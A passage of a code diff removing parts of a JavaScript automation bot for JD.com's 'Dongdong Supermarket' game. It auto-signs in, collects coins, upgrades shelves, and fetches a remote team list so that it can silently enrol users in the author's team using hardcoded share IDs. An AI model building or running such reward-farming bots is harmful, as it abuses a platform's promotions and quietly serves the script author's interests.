`【收取小费】${$.data.data.bizMsg}\n`; - console.log(`收取蓝币失败:${$.data.data.bizMsg}`) - return - } - if ($.data.data.bizCode === 0) { - $.coincount += $.data.data.result.receivedBlue; - $.blueCionTimes ++; - console.log(`【京东账号${$.index}】${$.nickName} 第${$.blueCionTimes}次领蓝币成功,获得${$.data.data.result.receivedBlue}个\n`) - if (!$.data.data.result.isNextReceived) { - message += `【收取小费】${$.coincount}个\n`; - return - } - } - await receiveBlueCoin(3000); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -async function daySign() { - const signDataRes = await smtgSign({"shareId":"QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ","channel":"4"}); - await smtgSign({"shareId":"TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g","channel":"4"}); - if (signDataRes && signDataRes.code === 0) { - const signList = await smtgSignList(); - if (signList.data.bizCode === 0) { - $.todayDay = signList.data.result.todayDay; - } - if (signDataRes.code === 0 && signDataRes.data.success) { - message += `【第${$.todayDay}日签到】成功,奖励${signDataRes.data.result.rewardBlue}蓝币\n` - } else { - message += `【第${$.todayDay}日签到】${signDataRes.data.bizMsg}\n` - } - } -} -async function BeanSign() { - const beanSignRes = await smtgSign({"channel": "1"}); - if (beanSignRes && beanSignRes.data['bizCode'] === 0) { - console.log(`每天从指定入口进入游戏,可获得额外奖励:${JSON.stringify(beanSignRes)}`) - } -} -//每日签到 -function smtgSign(body) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_sign', body), async (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 商圈活动 -async function businessCircleActivity() { - // console.log(`\n商圈PK奖励,次日商圈大战开始的时候自动领领取\n`) - joinPkTeam = $.isNode() ? (process.env.JOIN_PK_TEAM ? process.env.JOIN_PK_TEAM : `${joinPkTeam}`) : ($.getdata('JOIN_PK_TEAM') ? $.getdata('JOIN_PK_TEAM') : `${joinPkTeam}`); - const smtg_getTeamPkDetailInfoRes = await smtg_getTeamPkDetailInfo(); - if (smtg_getTeamPkDetailInfoRes && smtg_getTeamPkDetailInfoRes.data.bizCode === 0) { - const { joinStatus, pkStatus, inviteCount, inviteCode, currentUserPkInfo, pkUserPkInfo, prizeInfo, pkActivityId, teamId } = smtg_getTeamPkDetailInfoRes.data.result; - console.log(`\njoinStatus:${joinStatus}`); - console.log(`pkStatus:${pkStatus}\n`); - console.log(`pkActivityId:${pkActivityId}\n`); - - if (joinStatus === 0) { - if (joinPkTeam === 'true') { - console.log(`\n注:PK会在每天的七点自动随机加入作者创建的队伍\n`) - await updatePkActivityIdCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateTeam.json'); - console.log(`\nupdatePkActivityId[pkActivityId]:::${$.updatePkActivityIdRes && $.updatePkActivityIdRes.pkActivityId}`); - console.log(`\n京东服务器返回的[pkActivityId] ${pkActivityId}`); - if ($.updatePkActivityIdRes && ($.updatePkActivityIdRes.pkActivityId === pkActivityId)) { - await getTeam(); - let Teams = [] - Teams = $.updatePkActivityIdRes['Teams'] || Teams; - if ($.getTeams && $.getTeams.length) { - Teams = [...Teams, ...$.getTeams.filter(item => item['pkActivityId'] === `${pkActivityId}`)]; - } - const randomNum = randomNumber(0, Teams.length); - - const res = await smtg_joinPkTeam(Teams[randomNum] && Teams[randomNum].teamId, Teams[randomNum] && Teams[randomNum].inviteCode, pkActivityId); - if (res && res.data.bizCode === 0) { - console.log(`加入战队成功`) - } else if (res && res.data.bizCode === 229) { - console.log(`加入战队失败,该战队已满\n无法加入`) - } else { - console.log(`加入战队其他未知情况:${JSON.stringify(res)}`) - } - } else { - console.log('\nupdatePkActivityId请求返回的pkActivityId与京东服务器返回不一致,暂时不加入战队') - } - } - } else if (joinStatus === 1) { - if (teamId) { - console.log(`inviteCode: [${inviteCode}]`); - console.log(`PK队伍teamId: [${teamId}]`); - console.log(`PK队伍名称: [${currentUserPkInfo && currentUserPkInfo.teamName}]`); - console.log(`我邀请的人数:${inviteCount}\n`) - console.log(`\n我方战队战队 [${currentUserPkInfo && currentUserPkInfo.teamName}]/【${currentUserPkInfo && currentUserPkInfo.teamCount}】`); - console.log(`对方战队战队 [${pkUserPkInfo && pkUserPkInfo.teamName}]/【${pkUserPkInfo && pkUserPkInfo.teamCount}】\n`); - } - } - if (pkStatus === 1) { - console.log(`商圈PK进行中\n`) - if (!teamId) { - const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); - console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}\n`) - if (receivedPkTeamPrize.data.bizCode === 0) { - if (receivedPkTeamPrize.data.result.pkResult === 1) { - const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; - message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) - } - } else if (receivedPkTeamPrize.data.result.pkResult === 2) { - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) - } - } - } - } - } else if (pkStatus === 2) { - console.log(`商圈PK结束了`) - if (prizeInfo.pkPrizeStatus === 2) { - console.log(`开始领取商圈PK奖励`); - // const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); - // console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}`) - // if (receivedPkTeamPrize.data.bizCode === 0) { - // if (receivedPkTeamPrize.data.result.pkResult === 1) { - // const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; - // message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; - // if ($.isNode()) { - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) - // } - // } else if (receivedPkTeamPrize.data.result.pkResult === 2) { - // if ($.isNode()) { - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) - // } - // } - // } - } else if (prizeInfo.pkPrizeStatus === 1) { - console.log(`商圈PK奖励已经领取\n`) - } - } else if (pkStatus === 3) { - console.log(`商圈PK暂停中\n`) - } - } else { - console.log(`\n${JSON.stringify(smtg_getTeamPkDetailInfoRes)}\n`) - } - return - const businessCirclePKDetailRes = await smtg_businessCirclePKDetail(); - if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 0) { - const { businessCircleVO, otherBusinessCircleVO, inviteCode, pkSettleTime } = businessCirclePKDetailRes.data.result; - console.log(`\n【您的商圈inviteCode互助码】:\n${inviteCode}\n\n`); - const businessCircleIndexRes = await smtg_businessCircleIndex(); - const { result } = businessCircleIndexRes.data; - const { pkPrizeStatus, pkStatus } = result; - if (pkPrizeStatus === 2) { - console.log(`开始领取商圈PK奖励`); - const getPkPrizeRes = await smtg_getPkPrize(); - console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) - if (getPkPrizeRes.data.bizCode === 0) { - const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; - message += `【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; - } - } - console.log(`我方商圈人气值/对方商圈人气值:${businessCircleVO.hotPoint}/${otherBusinessCircleVO.hotPoint}`); - console.log(`我方商圈成员数量/对方商圈成员数量:${businessCircleVO.memberCount}/${otherBusinessCircleVO.memberCount}`); - message += `【我方商圈】${businessCircleVO.memberCount}/${businessCircleVO.hotPoint}\n`; - message += `【对方商圈】${otherBusinessCircleVO.memberCount}/${otherBusinessCircleVO.hotPoint}\n`; - // message += `【我方商圈人气值】${businessCircleVO.hotPoint}\n`; - // message += `【对方商圈人气值】${otherBusinessCircleVO.hotPoint}\n`; - businessCircleJump = $.getdata('jdBusinessCircleJump') ? $.getdata('jdBusinessCircleJump') : businessCircleJump; - if ($.isNode() && process.env.jdBusinessCircleJump) { - businessCircleJump = process.env.jdBusinessCircleJump; - } - if (`${businessCircleJump}` === 'false') { - console.log(`\n小于对方300热力值自动更换商圈队伍: 您设置的是禁止自动更换商圈队伍\n`); - return - } - if (otherBusinessCircleVO.hotPoint - businessCircleVO.hotPoint > 300 && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000))) { - //退出该商圈 - if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; - console.log(`商圈PK已过1天,对方商圈人气值还大于我方商圈人气值300,退出该商圈重新加入`); - await smtg_quitBusinessCircle(); - } else if (otherBusinessCircleVO.hotPoint > businessCircleVO.hotPoint && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000 * 2))) { - //退出该商圈 - if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; - console.log(`商圈PK已过2天,对方商圈人气值还大于我方商圈人气值,退出该商圈重新加入`); - await smtg_quitBusinessCircle(); - } - } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 222) { - console.log(`${businessCirclePKDetailRes.data.bizMsg}`); - console.log(`开始领取商圈PK奖励`); - const getPkPrizeRes = await smtg_getPkPrize(); - console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) - if (getPkPrizeRes && getPkPrizeRes.data.bizCode === 0) { - const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; - $.msg($.name, '', `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) - } - } - } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 206) { - console.log(`您暂未加入商圈,现在给您加入作者的商圈`); - const joinBusinessCircleRes = await smtg_joinBusinessCircle(myCircleId); - console.log(`参加商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) - if (joinBusinessCircleRes.data.bizCode !== 0) { - console.log(`您加入作者的商圈失败,现在给您随机加入一个商圈`); - const BusinessCircleList = await smtg_getBusinessCircleList(); - if (BusinessCircleList.data.bizCode === 0) { - const { businessCircleVOList } = BusinessCircleList.data.result; - const { circleId } = businessCircleVOList[randomNumber(0, businessCircleVOList.length)]; - const joinBusinessCircleRes = await smtg_joinBusinessCircle(circleId); - console.log(`随机加入商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) - } - } - } else { - console.log(`访问商圈详情失败:${JSON.stringify(businessCirclePKDetailRes)}`); - } -} -//我的货架 -async function myProductList() { - const shelfListRes = await smtg_shelfList(); - if (shelfListRes.data.bizCode === 0) { - const { shelfList } = shelfListRes.data.result; - console.log(`\n货架数量:${shelfList && shelfList.length}`) - for (let item of shelfList) { - console.log(`\nshelfId/name : ${item.shelfId}/${item.name}`); - console.log(`货架等级 level ${item.level}/${item.maxLevel}`); - console.log(`上架状态 groundStatus ${item.groundStatus}`); - console.log(`解锁状态 unlockStatus ${item.unlockStatus}`); - console.log(`升级状态 upgradeStatus ${item.upgradeStatus}`); - if (item.unlockStatus === 0) { - console.log(`${item.name}不可解锁`) - } else if (item.unlockStatus === 1) { - console.log(`${item.name}可解锁`); - await smtg_unlockShelf(item.shelfId); - } else if (item.unlockStatus === 2) { - console.log(`${item.name}已经解锁`) - } - if (item.groundStatus === 1) { - console.log(`${item.name}可上架`); - const productListRes = await smtg_shelfProductList(item.shelfId); - if (productListRes.data.bizCode === 0) { - const { productList } = productListRes.data.result; - if (productList && productList.length > 0) { - // 此处限时商品未分配才会出现 - let limitTimeProduct = []; - for (let item of productList) { - if (item.productType === 2) { - limitTimeProduct.push(item); - } - } - if (limitTimeProduct && limitTimeProduct.length > 0) { - //上架限时商品 - await smtg_ground(limitTimeProduct[0].productId, item.shelfId); - } else { - await smtg_ground(productList[productList.length - 1].productId, item.shelfId); - } - } else { - console.log("无可上架产品"); - await unlockProductByCategory(item.shelfId.split('-')[item.shelfId.split('-').length - 1]) - } - } - } else if (item.groundStatus === 2 || item.groundStatus === 3) { - if (item.productInfo.productType === 2) { - console.log(`[${item.name}][限时商品]`) - } else if (item.productInfo.productType === 1){ - console.log(`[${item.name}]`) - } else { - console.log(`[${item.name}][productType:${item.productInfo.productType}]`) - } - } - } - } -} -//根据类型解锁一个商品,货架可上架商品时调用 -async function unlockProductByCategory(category) { - const smtgProductListRes = await smtg_productList(); - if (smtgProductListRes.data.bizCode === 0) { - let productListByCategory = []; - const { productList } = smtgProductListRes.data.result; - for (let item of productList) { - if (item['unlockStatus'] === 1 && item['shelfCategory'].toString() === category) { - productListByCategory.push(item); - } - } - if (productListByCategory && productListByCategory.length > 0) { - console.log(`待解锁的商品数量:${productListByCategory.length}`); - await smtg_unlockProduct(productListByCategory[productListByCategory.length - 1]['productId']); - } else { - console.log("该类型商品暂时无法解锁"); - } - } -} -//升级货架和商品 -async function upgrade() { - superMarketUpgrade = $.getdata('jdSuperMarketUpgrade') ? $.getdata('jdSuperMarketUpgrade') : superMarketUpgrade; - if ($.isNode() && process.env.SUPERMARKET_UPGRADE) { - superMarketUpgrade = process.env.SUPERMARKET_UPGRADE; - } - if (`${superMarketUpgrade}` === 'false') { - console.log(`\n自动升级: 您设置的是关闭自动升级\n`); - return - } - console.log(`\n*************开始检测升级商品,如遇到商品能解锁,则优先解锁***********`) - console.log('目前没有平稳升级,只取倒数几个商品进行升级,普通货架取倒数4个商品,冰柜货架取倒数3个商品,水果货架取倒数2个商品') - const smtgProductListRes = await smtg_productList(); - if (smtgProductListRes.data.bizCode === 0) { - let productType1 = [], shelfCategory_1 = [], shelfCategory_2 = [], shelfCategory_3 = []; - const { productList } = smtgProductListRes.data.result; - for (let item of productList) { - if (item['productType'] === 1) { - productType1.push(item); - } - } - for (let item2 of productType1) { - if (item2['shelfCategory'] === 1) { - shelfCategory_1.push(item2); - } - if (item2['shelfCategory'] === 2) { - shelfCategory_2.push(item2); - } - if (item2['shelfCategory'] === 3) { - shelfCategory_3.push(item2); - } - } - shelfCategory_1 = shelfCategory_1.slice(-4); - shelfCategory_2 = shelfCategory_2.slice(-3); - shelfCategory_3 = shelfCategory_3.slice(-2); - const shelfCategorys = shelfCategory_1.concat(shelfCategory_2).concat(shelfCategory_3); - console.log(`\n商品名称 归属货架 目前等级 解锁状态 可升级状态`) - for (let item of shelfCategorys) { - console.log(` ${item["name"].length<3?item["name"]+`\xa0`:item["name"]} ${item['shelfCategory'] === 1 ? '普通货架' : item['shelfCategory'] === 2 ? '冰柜货架' : item['shelfCategory'] === 3 ? '水果货架':'未知货架'} ${item["unlockStatus"] === 0 ? '---' : item["level"]+'级'} ${item["unlockStatus"] === 0 ? '未解锁' : '已解锁'} ${item["upgradeStatus"] === 1 ? '可以升级' : item["upgradeStatus"] === 0 ? '不可升级':item["upgradeStatus"]}`) - } - shelfCategorys.sort(sortSyData); - for (let item of shelfCategorys) { - if (item['unlockStatus'] === 1) { - console.log(`\n开始解锁商品:${item['name']}`) - await smtg_unlockProduct(item['productId']); - break; - } - if (item['upgradeStatus'] === 1) { - console.log(`\n开始升级商品:${item['name']}`) - await smtg_upgradeProduct(item['productId']); - break; - } - } - } - console.log('\n**********开始检查能否升级货架***********'); - const shelfListRes = await smtg_shelfList(); - if (shelfListRes.data.bizCode === 0) { - const { shelfList } = shelfListRes.data.result; - let shelfList_upgrade = []; - for (let item of shelfList) { - if (item['upgradeStatus'] === 1) { - shelfList_upgrade.push(item); - } - } - console.log(`待升级货架数量${shelfList_upgrade.length}个`); - if (shelfList_upgrade && shelfList_upgrade.length > 0) { - shelfList_upgrade.sort(sortSyData); - console.log("\n可升级货架名 等级 升级所需金币"); - for (let item of shelfList_upgrade) { - console.log(` [${item["name"]}] ${item["level"]}/${item["maxLevel"]} ${item["upgradeCostGold"]}`); - } - console.log(`开始升级[${shelfList_upgrade[0].name}]货架,当前等级${shelfList_upgrade[0].level},所需金币${shelfList_upgrade[0].upgradeCostGold}\n`); - await smtg_upgradeShelf(shelfList_upgrade[0].shelfId); - } - } -} -async function manageProduct() { - console.log(`安排上货(单价最大商品)`); - const shelfListRes = await smtg_shelfList(); - if (shelfListRes.data.bizCode === 0) { - const { shelfList } = shelfListRes.data.result; - console.log(`我的货架数量:${shelfList && shelfList.length}`); - let shelfListUnlock = [];//可以上架的货架 - for (let item of shelfList) { - if (item['groundStatus'] === 1 || item['groundStatus'] === 2) { - shelfListUnlock.push(item); - } - } - for (let item of shelfListUnlock) { - const productListRes = await smtg_shelfProductList(item.shelfId);//查询该货架可以上架的商品 - if (productListRes.data.bizCode === 0) { - const { productList } = productListRes.data.result; - let productNow = [], productList2 = []; - for (let item1 of productList) { - if (item1['groundStatus'] === 2) { - productNow.push(item1); - } - if (item1['productType'] === 1) { - productList2.push(item1); - } - } - // console.log(`productNow${JSON.stringify(productNow)}`) - // console.log(`productList2${JSON.stringify(productList2)}`) - if (productList2 && productList2.length > 0) { - productList2.sort(sortTotalPriceGold); - // console.log(productList2) - if (productNow && productNow.length > 0) { - if (productList2.slice(-1)[0]['productId'] === productNow[0]['productId']) { - console.log(`货架[${item.shelfId}]${productNow[0]['name']}已上架\n`) - continue; - } - } - await smtg_ground(productList2.slice(-1)[0]['productId'], item['shelfId']) - } - } - } - } -} -async function limitTimeProduct() { - const smtgProductListRes = await smtg_productList(); - if (smtgProductListRes.data.bizCode === 0) { - const { productList } = smtgProductListRes.data.result; - let productList2 = []; - for (let item of productList) { - if (item['productType'] === 2 && item['groundStatus'] === 1) { - //未上架并且限时商品 - console.log(`出现限时商品[${item.name}]`) - productList2.push(item); - } - } - if (productList2 && productList2.length > 0) { - for (let item2 of productList2) { - const { shelfCategory } = item2; - const shelfListRes = await smtg_shelfList(); - if (shelfListRes.data.bizCode === 0) { - const { shelfList } = shelfListRes.data.result; - let shelfList2 = []; - for (let item3 of shelfList) { - if (item3['shelfCategory'] === shelfCategory && (item3['groundStatus'] === 1 || item3['groundStatus'] === 2)) { - shelfList2.push(item3['shelfId']); - } - } - if (shelfList2 && shelfList2.length > 0) { - const groundRes = await smtg_ground(item2['productId'], shelfList2.slice(-1)[0]); - if (groundRes.data.bizCode === 0) { - console.log(`限时商品上架成功`); - message += `【限时商品】上架成功\n`; - } - } - } - } - } else { - console.log(`限时商品已经上架或暂无限时商品`); - } - } -} -//领取店铺升级的蓝币奖励 -async function receiveUserUpgradeBlue() { - $.receiveUserUpgradeBlue = 0; - if ($.userUpgradeBlueVos && $.userUpgradeBlueVos.length > 0) { - for (let item of $.userUpgradeBlueVos) { - const receiveCoin = await smtgReceiveCoin({ "id": item.id, "type": 5 }) - // $.log(`\n${JSON.stringify(receiveCoin)}`) - if (receiveCoin && receiveCoin.data['bizCode'] === 0) { - $.receiveUserUpgradeBlue += receiveCoin.data.result['receivedBlue'] - } - } - $.log(`店铺升级奖励获取:${$.receiveUserUpgradeBlue}蓝币\n`) - } - const res = await smtgReceiveCoin({"type": 4, "channel": "18"}) - // $.log(`${JSON.stringify(res)}\n`) - if (res && res.data['bizCode'] === 0) { - console.log(`\n收取营业额:获得 ${res.data.result['receivedTurnover']}\n`); - } -} -async function Home() { - const homeRes = await smtgHome(); - if (homeRes && homeRes.data['bizCode'] === 0) { - const { result } = homeRes.data; - const { shopName, totalBlue } = result; - subTitle = shopName; - message += `【总蓝币】${totalBlue}个\n`; - } -} -//=============================================脚本使用到的京东API===================================== - -//===新版本 - -//查询有哪些货架 -function smtg_shopIndex() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_shopIndex', { "channel": 1 }), async (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - const { shopId, shelfList, merchandiseList, level } = data.data['result']; - message += `【店铺等级】${level}\n`; - if (shelfList && shelfList.length > 0) { - for (let item of shelfList) { - //status: 2可解锁,1可升级,-1不可解锁 - if (item['status'] === 2) { - $.log(`${item['name']}可解锁\n`) - await smtg_shelfUnlock({ shopId, "shelfId": item['id'], "channel": 1 }) - } else if (item['status'] === 1) { - $.log(`${item['name']}可升级\n`) - await smtg_shelfUpgrade({ shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1 }); - } else if (item['status'] === -1) { - $.log(`[${item['name']}] 未解锁`) - } else if (item['status'] === 0) { - $.log(`[${item['name']}] 已解锁,当前等级:${item['level']}级`) - } else { - $.log(`未知店铺状态(status):${item['status']}\n`) - } - } - } - if (data.data['result']['forSaleMerchandise']) { - $.log(`\n限时商品${data.data['result']['forSaleMerchandise']['name']}已上架`) - } else { - if (merchandiseList && merchandiseList.length > 0) { - for (let item of merchandiseList) { - console.log(`发现限时商品${item.name}\n`); - await smtg_sellMerchandise({"shopId": shopId,"merchandiseId": item['id'],"channel":"18"}) - } - } - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//解锁店铺 -function smtg_shelfUnlock(body) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_shelfUnlock', body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - $.log(`解锁店铺结果:${data}\n`) - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_shelfUpgrade(body) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_shelfUpgrade', body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - $.log(`店铺升级结果:${data}\n`) - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//售卖限时商品API -function smtg_sellMerchandise(body) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_sellMerchandise', body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - $.log(`限时商品售卖结果:${data}\n`) - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//新版东东超市 -function updatePkActivityId(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateTeam.json') { - return new Promise(resolve => { - $.get({url}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - // console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.updatePkActivityIdRes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function updatePkActivityIdCDN(url) { - return new Promise(async resolve => { - const headers = { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - $.get({ url, headers, timeout: 10000, }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.updatePkActivityIdRes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} -function smtgDoShopTask(taskId, itemId) { - return new Promise((resolve) => { - const body = { - "taskId": taskId, - "channel": "18" - } - if (itemId) { - body.itemId = itemId; - } - $.get(taskUrl('smtg_doShopTask', body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtgObtainShopTaskPrize(taskId) { - return new Promise((resolve) => { - const body = { - "taskId": taskId - } - $.get(taskUrl('smtg_obtainShopTaskPrize', body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtgQueryShopTask() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_queryShopTask'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtgSignList() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_signList', { "channel": "18" }), (err, resp, data) => { - try { - // console.log('ddd----ddd', data) - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//查询商圈任务列表 -function smtgQueryPkTask() { - return new Promise( (resolve) => { - $.get(taskUrl('smtg_queryPkTask'), async (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data.bizCode === 0) { - const { taskList } = data.data.result; - console.log(`\n 商圈任务 状态`) - for (let item of taskList) { - if (item.taskStatus === 1) { - if (item.prizeStatus === 1) { - //任务已做完,但未领取奖励, 现在为您领取奖励 - await smtgObtainPkTaskPrize(item.taskId); - } else if (item.prizeStatus === 0) { - console.log(`[${item.title}] 已做完 ${item.finishNum}/${item.targetNum}`); - } - } else { - console.log(`[${item.title}] 未做完 ${item.finishNum}/${item.targetNum}`) - if (item.content) { - const { itemId } = item.content[item.type]; - console.log('itemId', itemId) - await smtgDoPkTask(item.taskId, itemId); - } - } - } - } else { - console.log(`${data.data.bizMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//PK邀请好友 -function smtgDoAssistPkTask(code) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_doAssistPkTask', {"inviteCode": code}), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtgReceiveCoin(body) { - $.goldCoinData = {}; - return new Promise((resolve) => { - $.get(taskUrl('smtg_receiveCoin', body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//领取PK任务做完后的奖励 -function smtgObtainPkTaskPrize(taskId) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_obtainPkTaskPrize', {"taskId": taskId}), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtgDoPkTask(taskId, itemId) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_doPkTask', {"taskId": taskId, "itemId": itemId}), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) { - return new Promise((resolve) => { - $.get(taskUrl('smtg_joinPkTeam', { teamId, inviteCode, "channel": "3", sharePkActivityId }), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_getTeamPkDetailInfo() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_getTeamPkDetailInfo'), (err, resp, data) => { - try { - if (err) { - console.log('\n东东超市: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function smtg_businessCirclePKDetail() { - return new Promise((resolve) => { - $.get(taskUrl('smtg_businessCirclePKDetail'), (err, resp, data) => { - try { - if 